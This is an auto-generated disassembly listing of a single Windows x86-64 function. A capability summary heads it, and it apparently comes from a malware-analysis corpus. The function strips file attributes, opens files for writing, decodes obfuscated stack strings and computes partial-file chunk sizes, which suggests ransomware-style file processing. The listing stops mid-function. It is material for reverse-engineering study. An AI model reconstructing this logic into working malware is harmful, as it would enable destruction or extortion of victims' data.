Function at 0x14002afb0
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Encode data using base64
Get file attributes
Get file size
Move file
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x140050008]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov r15, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14002afff
test al, 1
je 0x14002afff
xor eax, 1
mov rcx, rsi
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov r8d, 4
lea rdx, str.__
mov rcx, rsi
call fcn.1400374c4
xor edi, edi
mov r14d, 1
test eax, eax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov edx, 0xc0000000
cmovne r14d, edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14002b0b4
call qword [sym.imp.KERNEL32.dll_GetLastError]
add eax, 0xffffffe0
cmp eax, 1
ja 0x14002b8c0
test r14d, r14d
je 0x14002b6b0
mov rcx, rsi
call fcn.140001290
test eax, eax
je 0x14002b319
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x8000000
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov rcx, rsi
mov r14d, edi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14002b054
xor eax, eax
mov qword [rbp + 0x1f0], rbx
lea rdx, [rbp + 0x1f8]
mov qword [rbp + 0x1f8], rax
mov rcx, rbx
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x14002bcc6
mov byte [rbp], dil
mov byte [rbp + 1], 0x1f
mov byte [rbp + 2], 9
mov byte [rbp + 3], 0x14
mov byte [rbp + 4], 9
mov byte [rbp + 5], 0xb
mov byte [rbp + 6], 9
mov byte [rbp + 7], 0x6d
mov byte [rbp + 8], 9
mov byte [rbp + 9], 0x55
mov byte [rbp + 0xa], 9
mov byte [rbp + 0xb], 0x41
mov byte [rbp + 0xc], 9
mov byte [rbp + 0xd], 0x5e
mov byte [rbp + 0xe], 9
mov byte [rbp + 0xf], 0x1b
mov byte [rbp + 0x10], 9
mov byte [rbp + 0x11], 0x55
mov byte [rbp + 0x12], 9
mov byte [rbp + 0x13], 0x41
mov byte [rbp + 0x14], 9
mov byte [rbp + 0x15], 0x14
mov byte [rbp + 0x16], 9
mov byte [rbp + 0x17], 0x41
mov byte [rbp + 0x18], 9
mov byte [rbp + 0x19], 0x7c
mov byte [rbp + 0x1a], 9
mov byte [rbp + 0x1b], 0x22
mov byte [rbp + 0x1c], 9
mov byte [rbp + 0x1d], 0x47
mov byte [rbp + 0x1e], 9
mov byte [rbp + 0x1f], 0x1b
mov byte [rbp + 0x20], 9
mov byte [rbp + 0x21], 0x41
mov byte [rbp + 0x22], 9
mov byte [rbp + 0x23], 0x47
mov byte [rbp + 0x24], 9
mov byte [rbp + 0x25], 0x1b
mov byte [rbp + 0x26], 9
mov byte [rbp + 0x27], 0xb
mov byte [rbp + 0x28], 9
mov byte [rbp + 0x29], 0x5e
mov byte [rbp + 0x2a], 9
mov byte [rbp + 0x2b], 0x55
mov byte [rbp + 0x2c], 9
mov byte [rbp + 0x2d], 0x40
mov byte [rbp + 0x2e], 9
mov byte [rbp + 0x2f], 0x41
mov byte [rbp + 0x30], 9
mov byte [rbp + 0x31], 0x6c
mov byte [rbp + 0x32], 9
mov byte [rbp + 0x33], 0x7c
mov byte [rbp + 0x34], 9
mov byte [rbp + 0x35], 0x41
mov byte [rbp + 0x36], 9
mov byte [rbp + 0x37], 0x2a
mov byte [rbp + 0x38], 9
mov byte [rbp + 0x39], 0x73
mov byte [rbp + 0x3a], 9
mov byte [rbp + 0x3b], 0x1a
mov byte [rbp + 0x3c], 9
mov byte [rbp + 0x3d], 0x41
mov byte [rbp + 0x3e], 9
mov byte [rbp + 0x3f], 0x26
mov byte [rbp + 0x40], 9
mov byte [rbp + 0x41], 0x1b
mov byte [rbp + 0x42], 9
mov byte [rbp + 0x43], 0x55
mov byte [rbp + 0x44], 9
mov byte [rbp + 0x45], 0xf
mov byte [rbp + 0x46], 9
mov byte [rbp + 0x47], 0x14
mov byte [rbp + 0x48], 9
mov byte [rbp + 0x49], 0x73
mov byte [rbp + 0x4a], 9
mov byte [rbp + 0x4b], 0x55
mov byte [rbp + 0x4c], 9
mov byte [rbp + 0x4d], 0x62
mov byte [rbp + 0x4e], 9
mov byte [rbp + 0x4f], 0x12
mov byte [rbp + 0x50], 9
mov byte [rbp + 0x51], 0x12
mov byte [rbp + 0x52], 9
mov byte [rbp + 0x53], 0x6c
mov byte [rbp + 0x54], 9
mov byte [rbp + 0x55], 0x12
mov byte [rbp + 0x56], 9
mov byte [rbp + 0x57], 0x41
mov byte [rbp + 0x58], 9
mov byte [rbp + 0x59], 0x54
mov byte [rbp + 0x5a], 9
mov byte [rbp + 0x5b], 0x41
mov byte [rbp + 0x5c], 9
mov byte [rbp + 0x5d], 0x2a
mov byte [rbp + 0x5e], 9
mov byte [rbp + 0x5f], 0x47
mov byte [rbp + 0x60], 9
mov byte [rbp + 0x61], 0x37
mov byte [rbp + 0x62], 9
mov byte [rbp + 0x63], 9
mov byte [rbp + 0x64], 9
movzx eax, byte [rbp + 1]
movzx eax, byte [rbp]
test al, al
jne 0x14002b2f4
nop dword [rax + rax]
movzx ecx, byte [rbp + rdi + 1]
mov eax, 0x81020409
sub ecx, 9
imul r8d, ecx, 0x37
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + rdi + 1], r8b
inc rdi
cmp rdi, 0x64
jb 0x14002b2a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rsi
lea rcx, [rbp + 1]
mov r8d, eax
call fcn.14002abc0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14002c545
mov byte [rbp + 0x70], dil
mov byte [rbp + 0x71], 0x26
mov byte [rbp + 0x72], 0x6c
mov byte [rbp + 0x73], 0x49
mov byte [rbp + 0x74], 0x6c
mov byte [rbp + 0x75], 0x43
mov byte [rbp + 0x76], 0x6c
mov byte [rbp + 0x77], 0x5a
mov byte [rbp + 0x78], 0x6c
mov byte [rbp + 0x79], 0x4a
mov byte [rbp + 0x7a], 0x6c
mov byte [rbp + 0x7b], 0x67
mov byte [rbp + 0x7c], 0x6c
mov byte [rbp + 0x7d], 0x4a
mov byte [rbp + 0x7e], 0x6c
mov byte [rbp + 0x7f], 0x78
mov byte [rbp + 0x80], 0x6c
mov byte [rbp + 0x81], 0x72
mov byte [rbp + 0x82], 0x6c
mov byte [rbp + 0x83], 0x57
mov byte [rbp + 0x84], 0x6c
mov byte [rbp + 0x85], 0x28
mov byte [rbp + 0x86], 0x6c
mov byte [rbp + 0x87], 0x43
mov byte [rbp + 0x88], 0x6c
mov byte [rbp + 0x89], 0x49
mov byte [rbp + 0x8a], 0x6c
mov byte [rbp + 0x8b], 0x4a
mov byte [rbp + 0x8c], 0x6c
mov byte [rbp + 0x8d], 0x78
mov byte [rbp + 0x8e], 0x6c
mov byte [rbp + 0x8f], 0x67
mov byte [rbp + 0x90], 0x6c
mov byte [rbp + 0x91], 0x49
mov byte [rbp + 0x92], 0x6c
mov byte [rbp + 0x93], 0x43
mov byte [rbp + 0x94], 0x6c
mov byte [rbp + 0x95], 0x67
mov byte [rbp + 0x96], 0x6c
mov byte [rbp + 0x97], 0x2f
mov byte [rbp + 0x98], 0x6c
mov byte [rbp + 0x99], 0xe
mov byte [rbp + 0x9a], 0x6c
mov byte [rbp + 0x9b], 0x43
mov byte [rbp + 0x9c], 0x6c
mov byte [rbp + 0x9d], 0x78
mov byte [rbp + 0x9e], 0x6c
mov byte [rbp + 0x9f], 0x72
mov byte [rbp + 0xa0], 0x6c
mov byte [rbp + 0xa1], 0x67
mov byte [rbp + 0xa2], 0x6c
mov byte [rbp + 0xa3], 0x1b
mov byte [rbp + 0xa4], 0x6c
mov byte [rbp + 0xa5], 0x72
mov byte [rbp + 0xa6], 0x6c
mov byte [rbp + 0xa7], 0x2f
mov byte [rbp + 0xa8], 0x6c
mov byte [rbp + 0xa9], 0x21
mov byte [rbp + 0xaa], 0x6c
mov byte [rbp + 0xab], 0x78
mov byte [rbp + 0xac], 0x6c
mov byte [rbp + 0xad], 0x5e
mov byte [rbp + 0xae], 0x6c
mov byte [rbp + 0xaf], 0x5e
mov byte [rbp + 0xb0], 0x6c
mov byte [rbp + 0xb1], 0x67
mov byte [rbp + 0xb2], 0x6c
mov byte [rbp + 0xb3], 0x2f
mov byte [rbp + 0xb4], 0x6c
mov byte [rbp + 0xb5], 0x64
mov byte [rbp + 0xb6], 0x6c
mov byte [rbp + 0xb7], 0x67
mov byte [rbp + 0xb8], 0x6c
mov byte [rbp + 0xb9], 3
mov byte [rbp + 0xba], 0x6c
mov byte [rbp + 0xbb], 0x5e
mov byte [rbp + 0xbc], 0x6c
mov byte [rbp + 0xbd], 0x4d
mov byte [rbp + 0xbe], 0x6c
mov byte [rbp + 0xbf], 0x67
mov byte [rbp + 0xc0], 0x6c
mov byte [rbp + 0xc1], 0x55
mov byte [rbp + 0xc2], 0x6c
mov byte [rbp + 0xc3], 0x78
mov byte [rbp + 0xc4], 0x6c
mov byte [rbp + 0xc5], 0x4a
mov byte [rbp + 0xc6], 0x6c
mov byte [rbp + 0xc7], 0x70
mov byte [rbp + 0xc8], 0x6c
mov byte [rbp + 0xc9], 0x49
mov byte [rbp + 0xca], 0x6c
mov byte [rbp + 0xcb], 0x5e
mov byte [rbp + 0xcc], 0x6c
mov byte [rbp + 0xcd], 0x4a
mov byte [rbp + 0xce], 0x6c
mov byte [rbp + 0xcf], 0x7d
mov byte [rbp + 0xd0], 0x6c
mov byte [rbp + 0xd1], 0x72
mov byte [rbp + 0xd2], 0x6c
mov byte [rbp + 0xd3], 0x72
mov byte [rbp + 0xd4], 0x6c
mov byte [rbp + 0xd5], 0x2f
mov byte [rbp + 0xd6], 0x6c
mov byte [rbp + 0xd7], 0x72
mov byte [rbp + 0xd8], 0x6c
mov byte [rbp + 0xd9], 0x67
mov byte [rbp + 0xda], 0x6c
mov byte [rbp + 0xdb], 0x1f
mov byte [rbp + 0xdc], 0x6c
mov byte [rbp + 0xdd], 0x67
mov byte [rbp + 0xde], 0x6c
mov byte [rbp + 0xdf], 3
mov byte [rbp + 0xe0], 0x6c
mov byte [rbp + 0xe1], 0x6b
mov byte [rbp + 0xe2], 0x6c
mov byte [rbp + 0xe3], 0x36
mov byte [rbp + 0xe4], 0x6c
mov byte [rbp + 0xe5], 0x6c
mov byte [rbp + 0xe6], 0x6c
movzx eax, byte [rbp + 0x71]
movzx eax, byte [rbp + 0x70]
test al, al
jne 0x14002b694
nop word [rax + rax]
movzx ecx, byte [rbp + rdi + 0x71]
mov eax, 0x81020409
sub ecx, 0x6c
imul r8d, ecx, 0x13
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + rdi + 0x71], r8b
inc rdi
cmp rdi, 0x76
jb 0x14002b640
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rbp + 0x71]
mov rdx, rsi
mov r8d, eax
call fcn.14002abc0
xor eax, eax
jmp 0x14002c545
mov byte [rbp - 0x70], dil
mov byte [rbp - 0x6f], 0xc
mov byte [rbp - 0x6e], 0x4b
mov byte [rbp - 0x6d], 0x6b
mov byte [rbp - 0x6c], 0x4b
mov byte [rbp - 0x6b], dil
mov byte [rbp - 0x6a], 0x4b
mov byte [rbp - 0x69], 8
mov byte [rbp - 0x68], 0x4b
mov byte [rbp - 0x67], 0x13
mov byte [rbp - 0x66], 0x4b
mov byte [rbp - 0x65], 7
mov byte [rbp - 0x64], 0x4b
mov byte [rbp - 0x63], 0x6d
mov byte [rbp - 0x62], 0x4b
mov byte [rbp - 0x61], 0x5b
mov byte [rbp - 0x60], 0x4b
mov byte [rbp - 0x5f], 0x23
mov byte [rbp - 0x5e], 0x4b
mov byte [rbp - 0x5d], dil
mov byte [rbp - 0x5c], 0x4b
mov byte [rbp - 0x5b], 7
mov byte [rbp - 0x5a], 0x4b
mov byte [rbp - 0x59], 0x6b
mov byte [rbp - 0x58], 0x4b
mov byte [rbp - 0x57], 7
mov byte [rbp - 0x56], 0x4b
mov byte [rbp - 0x55], 0x11
mov byte [rbp - 0x54], 0x4b
mov byte [rbp - 0x53], 0x5a
mov byte [rbp - 0x52], 0x4b
mov byte [rbp - 0x51], 0x24
mov byte [rbp - 0x50], 0x4b
mov byte [rbp - 0x4f], 0x23
mov byte [rbp - 0x4e], 0x4b
mov byte [rbp - 0x4d], 7
mov byte [rbp - 0x4c], 0x4b
mov byte [rbp - 0x4b], 0x2c
mov byte [rbp - 0x4a], 0x4b
mov byte [rbp - 0x49], 0x25
mov byte [rbp - 0x48], 0x4b
mov byte [rbp - 0x47], 7
mov byte [rbp - 0x46], 0x4b
mov byte [rbp - 0x45], 0x6b
mov byte [rbp - 0x44], 0x4b
mov byte [rbp - 0x43], dil
mov byte [rbp - 0x42], 0x4b
mov byte [rbp - 0x41], 0x38
mov byte [rbp - 0x40], 0x4b
mov byte [rbp - 0x3f], 0x12
mov byte [rbp - 0x3e], 0x4b
mov byte [rbp - 0x3d], 0x6d
mov byte [rbp - 0x3c], 0x4b
mov byte [rbp - 0x3b], 0x37
mov byte [rbp - 0x3a], 0x4b
mov byte [rbp - 0x39], 0x23
mov byte [rbp - 0x38], 0x4b
mov byte [rbp - 0x37], 9
mov byte [rbp - 0x36], 0x4b
mov byte [rbp - 0x35], 7
mov byte [rbp - 0x34], 0x4b
mov byte [rbp - 0x33], 0x43
mov byte [rbp - 0x32], 0x4b
mov byte [rbp - 0x31], 0x23
mov byte [rbp - 0x30], 0x4b
mov byte [rbp - 0x2f], 0x13
mov byte [rbp - 0x2e], 0x4b
mov byte [rbp - 0x2d], 0x68
mov byte [rbp - 0x2c], 0x4b
mov byte [rbp - 0x2b], 0x6b
mov byte [rbp - 0x2a], 0x4b
mov byte [rbp - 0x29], 0x25
mov byte [rbp - 0x28], 0x4b
mov byte [rbp - 0x27], 0x13
mov byte [rbp - 0x26], 0x4b
mov byte [rbp - 0x25], 0x67
mov byte [rbp - 0x24], 0x4b
mov byte [rbp - 0x23], 0x37
mov byte [rbp - 0x22], 0x4b
mov byte [rbp - 0x21], 0x37
mov byte [rbp - 0x20], 0x4b
mov byte [rbp - 0x1f], 0x6d
mov byte [rbp - 0x1e], 0x4b
mov byte [rbp - 0x1d], 0x37
mov byte [rbp - 0x1c], 0x4b
mov byte [rbp - 0x1b], 7
mov byte [rbp - 0x1a], 0x4b
mov byte [rbp - 0x19], 0x78
mov byte [rbp - 0x18], 0x4b
mov byte [rbp - 0x17], 7
mov byte [rbp - 0x16], 0x4b
mov byte [rbp - 0x15], 0x2c
mov byte [rbp - 0x14], 0x4b
mov byte [rbp - 0x13], 0x24
mov byte [rbp - 0x12], 0x4b
mov byte [rbp - 0x11], 1
mov byte [rbp - 0x10], 0x4b
mov byte [rbp - 0xf], 0x4b
mov byte [rbp - 0xe], 0x4b
movzx eax, byte [rbp - 0x6f]
movzx eax, byte [rbp - 0x70]
test al, al
jne 0x14002b8a4
nop dword [rax + rax]
movzx ecx, byte [rbp + rdi - 0x6f]
mov eax, 0x81020409
sub ecx, 0x4b
imul r8d, ecx, 7
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + rdi - 0x6f], r8b
inc rdi
cmp rdi, 0x62
jb 0x14002b850
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rbp - 0x6f]
mov rdx, rsi
mov r8d, eax
call fcn.14002abc0
xor eax, eax
jmp 0x14002c545
mov byte [rbp + 0xf0], dil
mov byte [rbp + 0xf1], 0x1f
mov byte [rbp + 0xf2], 0x46
mov byte [rbp + 0xf3], 0x72
mov byte [rbp + 0xf4], 0x46
mov byte [rbp + 0xf5], 0x4e
mov byte [rbp + 0xf6], 0x46
mov byte [rbp + 0xf7], 0x59
mov byte [rbp + 0xf8], 0x46
mov byte [rbp + 0xf9], 0x78
mov byte [rbp + 0xfa], 0x46
mov byte [rbp + 0xfb], 0x28
mov byte [rbp + 0xfc], 0x46
mov byte [rbp + 0xfd], 0x55
mov byte [rbp + 0xfe], 0x46
mov byte [rbp + 0xff], 0x5c
mov byte [rbp + 0x100], 0x46
mov byte [rbp + 0x101], 0xf
mov byte [rbp + 0x102], 0x46
mov byte [rbp + 0x103], 0x4e
mov byte [rbp + 0x104], 0x46
mov byte [rbp + 0x105], 0x28
mov byte [rbp + 0x106], 0x46
mov byte [rbp + 0x107], 0x72
mov byte [rbp + 0x108], 0x46
mov byte [rbp + 0x109], 0x28
mov byte [rbp + 0x10a], 0x46
mov byte [rbp + 0x10b], 0x16
mov byte [rbp + 0x10c], 0x46
mov byte [rbp + 0x10d], 0x2b
mov byte [rbp + 0x10e], 0x46
mov byte [rbp + 0x10f], 0x40
mov byte [rbp + 0x110], 0x46
mov byte [rbp + 0x111], 0xf
mov byte [rbp + 0x112], 0x46
mov byte [rbp + 0x113], 0x28
mov byte [rbp + 0x114], 0x46
mov byte [rbp + 0x115], 0x4b
mov byte [rbp + 0x116], 0x46
mov byte [rbp + 0x117], 0x71
mov byte [rbp + 0x118], 0x46
mov byte [rbp + 0x119], 0x28
mov byte [rbp + 0x11a], 0x46
mov byte [rbp + 0x11b], 0xe
mov byte [rbp + 0x11c], 0x46
mov byte [rbp + 0x11d], 0x2b
mov byte [rbp + 0x11e], 0x46
mov byte [rbp + 0x11f], 0x78
mov byte [rbp + 0x120], 0x46
mov byte [rbp + 0x121], 0x24
mov byte [rbp + 0x122], 0x46
mov byte [rbp + 0x123], 0x28
mov byte [rbp + 0x124], 0x46
mov byte [rbp + 0x125], 0x72
mov byte [rbp + 0x126], 0x46
mov byte [rbp + 0x127], 0x28
mov byte [rbp + 0x128], 0x46
mov byte [rbp + 0x129], dil
mov byte [rbp + 0x12a], 0x46
mov byte [rbp + 0x12b], 0x4e
mov byte [rbp + 0x12c], 0x46
mov byte [rbp + 0x12d], 0x39
mov byte [rbp + 0x12e], 0x46
mov byte [rbp + 0x12f], 0x4e
mov byte [rbp + 0x130], 0x46
mov byte [rbp + 0x131], 0x55
mov byte [rbp + 0x132], 0x46
mov byte [rbp + 0x133], 0xe
mov byte [rbp + 0x134], 0x46
mov byte [rbp + 0x135], 0x4e
mov byte [rbp + 0x136], 0x46
mov byte [rbp + 0x137], 0x28
mov byte [rbp + 0x138], 0x46
mov byte [rbp + 0x139], 0x6a
mov byte [rbp + 0x13a], 0x46
mov byte [rbp + 0x13b], 0xf
mov byte [rbp + 0x13c], 0x46
mov byte [rbp + 0x13d], 0x72
mov byte [rbp + 0x13e], 0x46
mov byte [rbp + 0x13f], 0x71
mov byte [rbp + 0x140], 0x46
mov byte [rbp + 0x141], 0x55
mov byte [rbp + 0x142], 0x46
mov byte [rbp + 0x143], 0x4e
mov byte [rbp + 0x144], 0x46
mov byte [rbp + 0x145], 0xb
mov byte [rbp + 0x146], 0x46
mov byte [rbp + 0x147], 0x28
mov byte [rbp + 0x148], 0x46
mov byte [rbp + 0x149], 0x3b
mov byte [rbp + 0x14a], 0x46
mov byte [rbp + 0x14b], 0xf
mov byte [rbp + 0x14c], 0x46
mov byte [rbp + 0x14d], 0x78
mov byte [rbp + 0x14e], 0x46
mov byte [rbp + 0x14f], 0x5e
mov byte [rbp + 0x150], 0x46
mov byte [rbp + 0x151], 0x72
mov byte [rbp + 0x152], 0x46
mov byte [rbp + 0x153], 0x71
mov byte [rbp + 0x154], 0x46
mov byte [rbp + 0x155], 0x78
mov byte [rbp + 0x156], 0x46
mov byte [rbp + 0x157], 0x2d
mov byte [rbp + 0x158], 0x46
mov byte [rbp + 0x159], 0x6a
mov byte [rbp + 0x15a], 0x46
mov byte [rbp + 0x15b], 0x6a
mov byte [rbp + 0x15c], 0x46
mov byte [rbp + 0x15d], 0x55
mov byte [rbp + 0x15e], 0x46
mov byte [rbp + 0x15f], 0x6a
mov byte [rbp + 0x160], 0x46
mov byte [rbp + 0x161], 0x28
mov byte [rbp + 0x162], 0x46
mov byte [rbp + 0x163], 0x74
mov byte [rbp + 0x164], 0x46
mov byte [rbp + 0x165], 0x28
mov byte [rbp + 0x166], 0x46
mov byte [rbp + 0x167], 0x4b
mov byte [rbp + 0x168], 0x46
mov byte [rbp + 0x169], 0x40
mov byte [rbp + 0x16a], 0x46
mov byte [rbp + 0x16b], dil
mov byte [rbp + 0x16c], 0x46
mov byte [rbp + 0x16d], 0x46
mov byte [rbp + 0x16e], 0x46
movzx eax, byte [rbp + 0xf1]
movzx eax, byte [rbp + 0xf0]
test al, al
jne 0x14002bca7
nop dword [rax + rax]
movzx ecx, byte [rbp + rdi + 0xf1]
mov eax, 0x46
sub eax, ecx
lea ecx, [rax + rax*8]
mov eax, 0x81020409
add ecx, ecx
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rdi + 0xf1], cl
inc rdi
cmp rdi, 0x7e
jb 0x14002bc50
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rbp + 0xf1]
mov rdx, rsi
mov r8d, eax
call fcn.14002abc0
xor eax, eax
jmp 0x14002c545
mov rdx, qword [rbp + 0x1f8]
mov rcx, rbx
test rdx, rdx
je 0x14002bce1
call fcn.14002ae50
test eax, eax
je 0x14002bcec
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002c540
movzx eax, byte [0x140051d38]
mov r10d, 0x100000
mov r8, qword [rbp + 0x1f8]
mov byte [rbp + 0x218], al
mov dword [rbp + 0x204], r10d
test al, al
je 0x14002bd4d
movzx ecx, al
movabs rax, 0xa3d70a3d70a3d70b
imul rcx, r8
imul rcx
add rdx, rcx
sar rdx, 6
mov rax, rdx
shr rax, 0x3f
add rax, rdx
cqo
and edx, 0xfffff
add rax, rdx
sar rax, 0x14
mov r9, rax
jmp 0x14002bdd5
cmp r8, 0x400000
jg 0x14002bd5c
imul rcx, r8, 0x32
jmp 0x14002bda5
cmp r8, 0x800000
jg 0x14002bd6b
imul rcx, r8, 0x19
jmp 0x14002bda5
lea rcx, [r8 + r8*2]
cmp r8, 0x1f400000
jg 0x14002bd7e
shl rcx, 2
jmp 0x14002bda5
movabs rax, 0x100000000
cmp r8, rax
jg 0x14002bd92
add rcx, rcx
jmp 0x14002bda5
movabs rax, 0x500000000
cmp r8, rax
jle 0x14002bda5
lea rcx, [r8 + r8]
movabs rax, 0xa3d70a3d70a3d70b
imul rcx
add rdx, rcx
sar rdx, 6
mov rax, rdx
shr rax, 0x3f
add rax, rdx
cqo
and edx, 0xfffff
add rax, rdx
sar rax, 0x14
mov r9d, eax
mov dword [rbp + 0x200], eax
test r9d, r9d
jne 0x14002bdfa
mov r9d, 1
mov r10d, 0x40000
mov dword [rbp + 0x200], r9d
mov dword [rbp + 0x204], r10d
mov ecx, r9d
mov rax, r8
cqo
idiv rcx
lea ecx, [r9 - 1]
imul rcx, rax
mov qword [rbp + 0x208], rax
mov eax, r10d
add rcx, rax
cmp rcx, r8
jg 0x14002be36
lea rax, [r8 - 0x10000]
cmp rcx, rax
cmovg rax, rcx
mov qword [rbp + 0x210], rax
jmp 0x14002be3d
mov qword [rbp + 0x210], rdi
mov rdx, r15
lea rcx, [rbp + 0x1f0]
call fcn.14002a040
mov r14d, eax
test eax, eax
je 0x14002c266
mov byte [rbp + 0x170], dil
mov byte [rbp + 0x171], 0x76
mov byte [rbp + 0x172], 0x3c
mov byte [rbp + 0x173], 0x59
mov byte [rbp + 0x174], 0x3c
mov byte [rbp + 0x175], 0x7b
mov byte [rbp + 0x176], 0x3c
mov byte [rbp + 0x177], 0x23
mov byte [rbp + 0x178], 0x3c
mov byte [rbp + 0x179], 0x29
mov byte [rbp + 0x17a], 0x3c
mov byte [rbp + 0x17b], 0x2e
mov byte [rbp + 0x17c], 0x3c
mov byte [rbp + 0x17d], 0x21
mov byte [rbp + 0x17e], 0x3c
mov byte [rbp + 0x17f], 0x1a
mov byte [rbp + 0x180], 0x3c
mov byte [rbp + 0x181], 0x77
mov byte [rbp + 0x182], 0x3c
mov byte [rbp + 0x183], 0x59
mov byte [rbp + 0x184], 0x3c
mov byte [rbp + 0x185], 0x25
mov byte [rbp + 0x186], 0x3c
mov byte [rbp + 0x187], 0x2f
mov byte [rbp + 0x188], 0x3c
mov byte [rbp + 0x189], 0x2e
mov byte [rbp + 0x18a], 0x3c
mov byte [rbp + 0x18b], 0x59
mov byte [rbp + 0x18c], 0x3c
mov byte [rbp + 0x18d], 0x2e
mov byte [rbp + 0x18e], 0x3c
mov byte [rbp + 0x18f], 0x3f
mov byte [rbp + 0x190], 0x3c
mov byte [rbp + 0x191], 0x16
mov byte [rbp + 0x192], 0x3c
mov byte [rbp + 0x193], 0x6c
mov byte [rbp + 0x194], 0x3c
mov byte [rbp + 0x195], 0x77
mov byte [rbp + 0x196], 0x3c
mov byte [rbp + 0x197], 0x2e
mov byte [rbp + 0x198], 0x3c
mov byte [rbp + 0x199], 0x14
mov byte [rbp + 0x19a], 0x3c
mov byte [rbp + 0x19b], 0x61
mov byte [rbp + 0x19c], 0x3c
mov byte [rbp + 0x19d], 0x18
mov byte [rbp + 0x19e], 0x3c
mov byte [rbp + 0x19f], 0x2e
mov byte [rbp + 0x1a0], 0x3c
mov byte [rbp + 0x1a1], 0x24
mov byte [rbp + 0x1a2], 0x3c
mov byte [rbp + 0x1a3], 0x7b
mov byte [rbp + 0x1a4], 0x3c
mov byte [rbp + 0x1a5], 0x29
mov byte [rbp + 0x1a6], 0x3c
mov byte [rbp + 0x1a7], 0x77
mov byte [rbp + 0x1a8], 0x3c
mov byte [rbp + 0x1a9], 0x1a
mov byte [rbp + 0x1aa], 0x3c
mov byte [rbp + 0x1ab], 0x7b
mov byte [rbp + 0x1ac], 0x3c
mov byte [rbp + 0x1ad], 0x59
mov byte [rbp + 0x1ae], 0x3c
mov byte [rbp + 0x1af], 0x6c
mov byte [rbp + 0x1b0], 0x3c
mov byte [rbp + 0x1b1], 6
mov byte [rbp + 0x1b2], 0x3c
mov byte [rbp + 0x1b3], 0x1a
mov byte [rbp + 0x1b4], 0x3c
mov byte [rbp + 0x1b5], 0x1a
mov byte [rbp + 0x1b6], 0x3c
mov byte [rbp + 0x1b7], 0x43
mov byte [rbp + 0x1b8], 0x3c
mov byte [rbp + 0x1b9], 0x1a
mov byte [rbp + 0x1ba], 0x3c
mov byte [rbp + 0x1bb], 0x2e
mov byte [rbp + 0x1bc], 0x3c
mov byte [rbp + 0x1bd], 0x49
mov byte [rbp + 0x1be], 0x3c
mov byte [rbp + 0x1bf], 0x2e
mov byte [rbp + 0x1c0], 0x3c
mov byte [rbp + 0x1c1], 0x14
mov byte [rbp + 0x1c2], 0x3c
mov byte [rbp + 0x1c3], 0x30
mov byte [rbp + 0x1c4], 0x3c
mov byte [rbp + 0x1c5], 0x18
mov byte [rbp + 0x1c6], 0x3c
mov byte [rbp + 0x1c7], 0x2e
mov byte [rbp + 0x1c8], 0x3c
mov byte [rbp + 0x1c9], 0x15
mov byte [rbp + 0x1ca], 0x3c
mov byte [rbp + 0x1cb], 0x77
mov byte [rbp + 0x1cc], 0x3c
mov byte [rbp + 0x1cd], 0x29
mov byte [rbp + 0x1ce], 0x3c
mov byte [rbp + 0x1cf], 0x7a
mov byte [rbp + 0x1d0], 0x3c
mov byte [rbp + 0x1d1], 0x59
mov byte [rbp + 0x1d2], 0x3c
mov byte [rbp + 0x1d3], 0x61
mov byte [rbp + 0x1d4], 0x3c
mov byte [rbp + 0x1d5], 0x29
mov byte [rbp + 0x1d6], 0x3c
mov byte [rbp + 0x1d7], 6
mov byte [rbp + 0x1d8], 0x3c
mov byte [rbp + 0x1d9], 0x1a
mov byte [rbp + 0x1da], 0x3c
mov byte [rbp + 0x1db], 0x1a
mov byte [rbp + 0x1dc], 0x3c
mov byte [rbp + 0x1dd], 0x43
mov byte [rbp + 0x1de], 0x3c
mov byte [rbp + 0x1df], 0x1a
